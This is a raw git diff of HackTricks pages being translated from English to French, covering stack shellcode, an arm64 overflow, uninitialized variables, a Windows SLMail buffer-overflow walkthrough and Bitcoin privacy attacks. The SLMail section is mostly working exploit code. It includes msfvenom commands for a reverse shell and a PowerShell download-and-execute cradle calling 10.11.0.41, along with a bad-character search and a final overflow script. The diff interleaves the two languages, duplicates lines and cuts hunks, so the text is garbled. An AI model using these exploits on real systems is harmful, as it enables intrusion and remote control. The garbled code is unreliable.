**Stack shellcode** est une technique utilisée dans **binary exploitation** où un attaquant écrit du shellcode dans la pile d'un programme vulnérable, puis modifie le **Instruction Pointer (IP)** ou **Extended Instruction Pointer (EIP)** pour pointer vers l'emplacement de ce shellcode, provoquant son exécution. C'est une méthode classique utilisée pour obtenir un accès non autorisé ou exécuter des commandes arbitraires sur un système cible. Voici un aperçu du processus, y compris un exemple simple en C et comment vous pourriez écrire un exploit correspondant en utilisant Python avec **pwntools**.
### C Example: A Vulnerable Program
Let's start with a simple example of a vulnerable C program:
### Exemple C : Un programme vulnérable
Commençons par un exemple simple d'un programme C vulnérable :
```c
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
This program is vulnerable to a buffer overflow due to the use of the `gets()` function.
Ce programme est vulnérable à un dépassement de tampon en raison de l'utilisation de la fonction `gets()`.
### Compilation
To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command:
Pour compiler ce programme tout en désactivant diverses protections (pour simuler un environnement vulnérable), vous pouvez utiliser la commande suivante :
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Désactive la protection de la pile.
- `-z execstack`: Rend la pile exécutable, ce qui est nécessaire pour exécuter le shellcode stocké sur la pile.
- `-no-pie`: Désactive l'exécutable indépendant de la position, ce qui facilite la prévision de l'adresse mémoire où notre shellcode sera situé.
- `-m32`: Compile le programme en tant qu'exécutable 32 bits, souvent utilisé pour la simplicité dans le développement d'exploits.
- `-fno-stack-protector`: Disables stack protection.
- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack.
- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located.
- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development.
### Python Exploit using Pwntools
Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
### Exploit Python utilisant Pwntools
Voici comment vous pourriez écrire un exploit en Python en utilisant **pwntools** pour effectuer une attaque **ret2shellcode** :
```python
from pwn import *
@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
Ce script construit un payload composé d'un **NOP slide**, du **shellcode**, puis écrase le **EIP** avec l'adresse pointant vers le NOP slide, garantissant que le shellcode soit exécuté.
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
Le **NOP slide** (`asm('nop')`) est utilisé pour augmenter la chance que l'exécution "glisse" vers notre shellcode, peu importe l'adresse exacte. Ajustez l'argument `p32()` à l'adresse de départ de votre buffer plus un décalage pour atterrir dans le NOP slide.
## Protections
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions ou l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) doivent également être désactivés ou l'adresse de retour EIP compromise ne sera jamais suivie.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **protection de la pile** empêcherait l'exécution du shellcode à l'intérieur de la pile car cette région ne serait pas exécutable.
## Other Examples & References
## Autres Exemples & Références
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR with stack address leak, write shellcode and jump to it
- 64 bits, ASLR avec fuite d'adresse de pile, écrire le shellcode et y sauter
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR with stack leak, write shellcode and jump to it
- 32 bits, ASLR avec fuite de pile, écrire le shellcode et y sauter
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it
- 32 bits, ASLR avec fuite de pile, comparaison pour empêcher l'appel à exit(), écraser une variable avec une valeur et écrire le shellcode et y sauter
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
- arm64, pas d'ASLR, gadget ROP pour rendre la pile exécutable et sauter au shellcode dans la pile
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,47 +2,40 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
Trouvez une introduction à arm64 dans :
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie, canary and nx:
Compiler sans pie, canary et nx :
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## Pas d'ASLR & Pas de canari - Débordement de pile&#x20;
## No ASLR & No canary - Stack Overflow&#x20;
To stop ASLR execute:
Pour arrêter l'ASLR, exécutez :
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Pour obtenir le [**décalage du bof, consultez ce lien**](../ret2win/ret2win-arm64.md#finding-the-offset).
To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Exploit:
Exploitation :
```python
from pwn import *
@ -73,9 +66,8 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
La seule chose "compliquée" à trouver ici serait l'adresse dans la pile à appeler. Dans mon cas, j'ai généré l'exploit avec l'adresse trouvée en utilisant gdb, mais ensuite, lors de l'exploitation, cela n'a pas fonctionné (car l'adresse de la pile a légèrement changé).
The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
J'ai ouvert le **`fichier core`** généré (`gdb ./bog ./core`) et vérifié la véritable adresse du début du shellcode.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,68 +1,66 @@
# Uninitialized Variables
# Variables Non Initialisées
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de Base
The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example:
L'idée principale ici est de comprendre ce qui se passe avec **les variables non initialisées car elles auront la valeur qui était déjà dans la mémoire qui leur a été assignée.** Exemple :
- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it.
- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location.
- **Fonction 1 : `initializeVariable`** : Nous déclarons une variable `x` et lui assignons une valeur, disons `0x1234`. Cette action est semblable à la réservation d'un emplacement en mémoire et à la mise d'une valeur spécifique dedans.
- **Fonction 2 : `useUninitializedVariable`** : Ici, nous déclarons une autre variable `y` mais ne lui assignons aucune valeur. En C, les variables non initialisées ne sont pas automatiquement mises à zéro. Au lieu de cela, elles conservent la dernière valeur qui a été stockée à leur emplacement mémoire.
When we run these two functions **sequentially**:
Lorsque nous exécutons ces deux fonctions **séquentiellement** :
1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address.
2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there.
1. Dans `initializeVariable`, `x` se voit assigner une valeur (`0x1234`), qui occupe une adresse mémoire spécifique.
2. Dans `useUninitializedVariable`, `y` est déclarée mais n'a pas de valeur assignée, donc elle prend l'emplacement mémoire juste après `x`. En ne l'initialisant pas, `y` finit par "hériter" de la valeur du même emplacement mémoire utilisé par `x`, car c'est la dernière valeur qui y était.
This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory.
Ce comportement illustre un concept clé en programmation bas niveau : **La gestion de la mémoire est cruciale**, et les variables non initialisées peuvent conduire à un comportement imprévisible ou à des vulnérabilités de sécurité, car elles peuvent contenir involontairement des données sensibles laissées en mémoire.
Uninitialized stack variables could pose several security risks like:
Les variables de pile non initialisées pourraient poser plusieurs risques de sécurité tels que :
- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data.
- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits.
- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes.
- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats.
### Example
- **Fuite de Données** : Des informations sensibles telles que des mots de passe, des clés de chiffrement ou des détails personnels peuvent être exposées si elles sont stockées dans des variables non initialisées, permettant aux attaquants de potentiellement lire ces données.
- **Divulgation d'Informations** : Le contenu des variables non initialisées pourrait révéler des détails sur la disposition mémoire du programme ou ses opérations internes, aidant les attaquants à développer des exploits ciblés.
- **Crashes et Instabilité** : Les opérations impliquant des variables non initialisées peuvent entraîner un comportement indéfini, conduisant à des plantages de programme ou à des résultats imprévisibles.
- **Exécution de Code Arbitraire** : Dans certains scénarios, les attaquants pourraient exploiter ces vulnérabilités pour altérer le flux d'exécution du programme, leur permettant d'exécuter du code arbitraire, ce qui pourrait inclure des menaces d'exécution de code à distance.
### Exemple
```c
#include <stdio.h>
// Function to initialize and print a variable
void initializeAndPrint() {
int initializedVar = 100; // Initialize the variable
printf("Initialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
int initializedVar = 100; // Initialize the variable
printf("Initialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
}
// Function to demonstrate the behavior of an uninitialized variable
void demonstrateUninitializedVar() {
int uninitializedVar; // Declare but do not initialize
printf("Uninitialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
int uninitializedVar; // Declare but do not initialize
printf("Uninitialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
}
int main() {
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
// First, call the function that initializes its variable
initializeAndPrint();
// First, call the function that initializes its variable
initializeAndPrint();
// Then, call the function that has an uninitialized variable
demonstrateUninitializedVar();
// Then, call the function that has an uninitialized variable
demonstrateUninitializedVar();
return 0;
return 0;
}
```
#### Comment cela fonctionne :
#### How This Works:
- **`initializeAndPrint` Fonction** : Cette fonction déclare une variable entière `initializedVar`, lui assigne la valeur `100`, puis imprime à la fois l'adresse mémoire et la valeur de la variable. Cette étape est simple et montre comment se comporte une variable initialisée.
- **`demonstrateUninitializedVar` Fonction** : Dans cette fonction, nous déclarons une variable entière `uninitializedVar` sans l'initialiser. Lorsque nous tentons d'imprimer sa valeur, la sortie peut afficher un nombre aléatoire. Ce nombre représente les données qui étaient précédemment à cet emplacement mémoire. Selon l'environnement et le compilateur, la sortie réelle peut varier, et parfois, par sécurité, certains compilateurs peuvent automatiquement initialiser les variables à zéro, bien que cela ne doive pas être considéré comme une garantie.
- **`main` Fonction** : La fonction `main` appelle les deux fonctions ci-dessus en séquence, démontrant le contraste entre une variable initialisée et une variable non initialisée.
- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves.
- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon.
- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one.
## Exemple ARM64
## ARM64 Example
This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown.
Cela ne change pas du tout en ARM64 car les variables locales sont également gérées dans la pile, vous pouvez [**vérifier cet exemple**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) où cela est montré.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,21 +1,18 @@
# Windows Exploiting (Basic Guide - OSCP lvl)
# Windows Exploiting (Guide de base - niveau OSCP)
{{#include ../banners/hacktricks-training.md}}
## **Start installing the SLMail service**
## **Commencer à installer le service SLMail**
## Restart SLMail service
Every time you need to **restart the service SLMail** you can do it using the windows console:
## Redémarrer le service SLMail
Chaque fois que vous devez **redémarrer le service SLMail**, vous pouvez le faire en utilisant la console Windows :
```
net start slmail
```
![](<../images/image (988).png>)
## Very basic python exploit template
## Modèle d'exploit Python très basique
```python
#!/usr/bin/python
@ -27,99 +24,89 @@ port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
print "Could not connect to "+ip+":"+port
```
## **Changer la police d'Immunity Debugger**
## **Change Immunity Debugger Font**
Allez à `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
## **Attach the proces to Immunity Debugger:**
## **Attacher le processus à Immunity Debugger :**
**File --> Attach**
![](<../images/image (869).png>)
**And press START button**
**Et appuyez sur le bouton START**
## **Send the exploit and check if EIP is affected:**
## **Envoyer l'exploit et vérifier si l'EIP est affecté :**
![](<../images/image (906).png>)
Every time you break the service you should restart it as is indicated in the beginnig of this page.
Chaque fois que vous interrompez le service, vous devez le redémarrer comme indiqué au début de cette page.
## Create a pattern to modify the EIP
## Créer un motif pour modifier l'EIP
The pattern should be as big as the buffer you used to broke the service previously.
Le motif doit être aussi grand que le tampon que vous avez utilisé pour interrompre le service précédemment.
![](<../images/image (420).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
Changez le tampon de l'exploit et définissez le motif, puis lancez l'exploit.
Change the buffer of the exploit and set the pattern and lauch the exploit.
A new crash should appeard, but with a different EIP address:
Un nouveau crash devrait apparaître, mais avec une adresse EIP différente :
![](<../images/image (636).png>)
Check if the address was in your pattern:
Vérifiez si l'adresse était dans votre motif :
![](<../images/image (418).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
Il semble que **nous puissions modifier l'EIP à l'offset 2606** du tampon.
Looks like **we can modify the EIP in offset 2606** of the buffer.
Check it modifing the buffer of the exploit:
Vérifiez-le en modifiant le tampon de l'exploit :
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
With this buffer the EIP crashed should point to 42424242 ("BBBB")
Avec ce tampon, l'EIP écrasé devrait pointer vers 42424242 ("BBBB")
![](<../images/image (874).png>)
![](<../images/image (92).png>)
Looks like it is working.
On dirait que ça fonctionne.
## Check for Shellcode space inside the stack
## Vérifiez l'espace Shellcode dans la pile
600B should be enough for any powerfull shellcode.
Lets change the bufer:
600B devrait suffire pour n'importe quel shellcode puissant.
Changeons le tampon :
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
launch the new exploit and check the EBP and the length of the usefull shellcode
lancez le nouvel exploit et vérifiez l'EBP et la longueur du shellcode utile
![](<../images/image (119).png>)
![](<../images/image (879).png>)
You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here.
Vous pouvez voir que lorsque la vulnérabilité est atteinte, l'EBP pointe vers le shellcode et que nous avons beaucoup d'espace pour localiser un shellcode ici.
In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough.
Dans ce cas, nous avons **de 0x0209A128 à 0x0209A2D6 = 430B.** Suffisant.
## Check for bad chars
Change again the buffer:
## Vérifiez les mauvais caractères
Changez à nouveau le tampon :
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
@ -141,63 +128,55 @@ badchars = (
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
Les badchars commencent à 0x01 car 0x00 est presque toujours mauvais.
The badchars starts in 0x01 because 0x00 is almost always bad.
Exécutez à plusieurs reprises l'exploit avec ce nouveau tampon en supprimant les caractères jugés inutiles :
Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:.
Par exemple :
For example:
In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
Dans ce cas, vous pouvez voir que **vous ne devez pas utiliser le caractère 0x0A** (rien n'est sauvegardé en mémoire puisque le caractère 0x09).
![](<../images/image (111).png>)
In this case you can see that **the char 0x0D is avoided**:
Dans ce cas, vous pouvez voir que **le caractère 0x0D est évité** :
![](<../images/image (1098).png>)
## Find a JMP ESP as a return address
Using:
## Trouver un JMP ESP comme adresse de retour
Utiliser :
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
Vous allez **lister les cartes mémoire**. Recherchez un DLL qui a :
You will **list the memory maps**. Search for some DLl that has:
- **Rebase: False**
- **SafeSEH: False**
- **ASLR: False**
- **NXCompat: False**
- **OS Dll: True**
- **Rebase : Faux**
- **SafeSEH : Faux**
- **ASLR : Faux**
- **NXCompat : Faux**
- **OS Dll : Vrai**
![](<../images/image (555).png>)
Now, inside this memory you should find some JMP ESP bytes, to do that execute:
Maintenant, à l'intérieur de cette mémoire, vous devriez trouver des octets JMP ESP, pour cela exécutez :
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**Then, if some address is found, choose one that don't contain any badchar:**
**Ensuite, si une adresse est trouvée, choisissez-en une qui ne contient pas de badchar :**
![](<../images/image (605).png>)
**In this case, for example: \_0x5f4a358f**\_
## Create shellcode
**Dans ce cas, par exemple : \_0x5f4a358f**\_
## Créer du shellcode
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
Si l'exploit ne fonctionne pas mais qu'il devrait (vous pouvez voir avec ImDebg que le shellcode est atteint), essayez de créer d'autres shellcodes (msfvenom avec créer différents shellcodes pour les mêmes paramètres).
If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters).
**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
**Ajoutez quelques NOPS au début** du shellcode et utilisez-le ainsi que l'adresse de retour pour JMP ESP, et terminez l'exploit :
```bash
#!/usr/bin/python
@ -236,26 +215,23 @@ shellcode = (
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
print "Could not connect to "+ip+":"+port
```
> [!WARNING]
> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode
> Il existe des shellcodes qui **s'écrasent eux-mêmes**, il est donc important d'ajouter toujours quelques NOPs avant le shellcode
## Improving the shellcode
Add this parameters:
## Améliorer le shellcode
Ajoutez ces paramètres :
```bash
EXITFUNC=thread -e x86/shikata_ga_nai
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,180 +1,176 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Concepts
## Concepts de base
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
- **Smart Contracts** sont définis comme des programmes qui s'exécutent sur une blockchain lorsque certaines conditions sont remplies, automatisant l'exécution des accords sans intermédiaires.
- **Decentralized Applications (dApps)** s'appuient sur des smart contracts, présentant une interface conviviale et un back-end transparent et auditable.
- **Tokens & Coins** différencient où les coins servent de monnaie numérique, tandis que les tokens représentent une valeur ou une propriété dans des contextes spécifiques.
- **Utility Tokens** donnent accès à des services, et **Security Tokens** signifient la propriété d'actifs.
- **DeFi** signifie Finance Décentralisée, offrant des services financiers sans autorités centrales.
- **DEX** et **DAOs** font référence aux plateformes d'échange décentralisées et aux organisations autonomes décentralisées, respectivement.
## Consensus Mechanisms
## Mécanismes de consensus
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
Les mécanismes de consensus garantissent des validations de transactions sécurisées et convenues sur la blockchain :
- **Proof of Work (PoW)** relies on computational power for transaction verification.
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
- **Proof of Work (PoW)** repose sur la puissance de calcul pour la vérification des transactions.
- **Proof of Stake (PoS)** exige que les validateurs détiennent un certain montant de tokens, réduisant la consommation d'énergie par rapport au PoW.
## Bitcoin Essentials
## Essentiels de Bitcoin
### Transactions
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
Les transactions Bitcoin impliquent le transfert de fonds entre adresses. Les transactions sont validées par des signatures numériques, garantissant que seul le propriétaire de la clé privée peut initier des transferts.
#### Key Components:
#### Composants clés :
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
- **Multisignature Transactions** nécessitent plusieurs signatures pour autoriser une transaction.
- Les transactions se composent d'**inputs** (source de fonds), **outputs** (destination), **fees** (payées aux mineurs) et **scripts** (règles de transaction).
### Lightning Network
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
Vise à améliorer la scalabilité de Bitcoin en permettant plusieurs transactions au sein d'un canal, ne diffusant l'état final que sur la blockchain.
## Bitcoin Privacy Concerns
## Préoccupations en matière de confidentialité de Bitcoin
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
Les attaques sur la vie privée, telles que **Common Input Ownership** et **UTXO Change Address Detection**, exploitent les modèles de transaction. Des stratégies comme **Mixers** et **CoinJoin** améliorent l'anonymat en obscurcissant les liens de transaction entre les utilisateurs.
## Acquiring Bitcoins Anonymously
## Acquisition de Bitcoins de manière anonyme
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
Les méthodes incluent les échanges en espèces, le minage et l'utilisation de mixers. **CoinJoin** mélange plusieurs transactions pour compliquer la traçabilité, tandis que **PayJoin** dissimule les CoinJoins en tant que transactions régulières pour une confidentialité accrue.
# Bitcoin Privacy Atacks
# Attaques sur la vie privée de Bitcoin
# Summary of Bitcoin Privacy Attacks
# Résumé des attaques sur la vie privée de Bitcoin
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
Dans le monde de Bitcoin, la confidentialité des transactions et l'anonymat des utilisateurs sont souvent des sujets de préoccupation. Voici un aperçu simplifié de plusieurs méthodes courantes par lesquelles les attaquants peuvent compromettre la vie privée de Bitcoin.
## **Common Input Ownership Assumption**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
Il est généralement rare que des inputs de différents utilisateurs soient combinés dans une seule transaction en raison de la complexité impliquée. Ainsi, **deux adresses d'input dans la même transaction sont souvent supposées appartenir au même propriétaire**.
## **UTXO Change Address Detection**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
Un UTXO, ou **Unspent Transaction Output**, doit être entièrement dépensé dans une transaction. Si seule une partie est envoyée à une autre adresse, le reste va à une nouvelle adresse de changement. Les observateurs peuvent supposer que cette nouvelle adresse appartient à l'expéditeur, compromettant la vie privée.
### Example
### Exemple
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
Pour atténuer cela, les services de mixage ou l'utilisation de plusieurs adresses peuvent aider à obscurcir la propriété.
## **Social Networks & Forums Exposure**
## **Exposition sur les réseaux sociaux et forums**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
Les utilisateurs partagent parfois leurs adresses Bitcoin en ligne, rendant **facile de lier l'adresse à son propriétaire**.
## **Transaction Graph Analysis**
## **Analyse des graphes de transactions**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
Les transactions peuvent être visualisées sous forme de graphes, révélant des connexions potentielles entre les utilisateurs en fonction du flux de fonds.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
## **Heuristique d'input inutile (Heuristique de changement optimal)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
### Example
Cette heuristique est basée sur l'analyse des transactions avec plusieurs inputs et outputs pour deviner quel output est le changement retournant à l'expéditeur.
### Exemple
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Si l'ajout de plus d'entrées rend la sortie de changement plus grande que n'importe quelle entrée unique, cela peut confondre l'heuristique.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Réutilisation d'Adresse Forcée**
## **Forced Address Reuse**
Les attaquants peuvent envoyer de petites sommes à des adresses précédemment utilisées, espérant que le destinataire les combine avec d'autres entrées dans de futures transactions, reliant ainsi les adresses ensemble.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### Comportement Correct du Portefeuille
### Correct Wallet Behavior
Les portefeuilles devraient éviter d'utiliser des pièces reçues sur des adresses déjà utilisées et vides pour prévenir cette fuite de confidentialité.
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
## **Autres Techniques d'Analyse de Blockchain**
## **Other Blockchain Analysis Techniques**
- **Montants de Paiement Exactes :** Les transactions sans changement sont probablement entre deux adresses appartenant au même utilisateur.
- **Nombres Ronds :** Un nombre rond dans une transaction suggère qu'il s'agit d'un paiement, avec la sortie non ronde étant probablement le changement.
- **Empreinte de Portefeuille :** Différents portefeuilles ont des modèles de création de transactions uniques, permettant aux analystes d'identifier le logiciel utilisé et potentiellement l'adresse de changement.
- **Corrélations de Montant & Timing :** La divulgation des heures ou des montants de transaction peut rendre les transactions traçables.
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
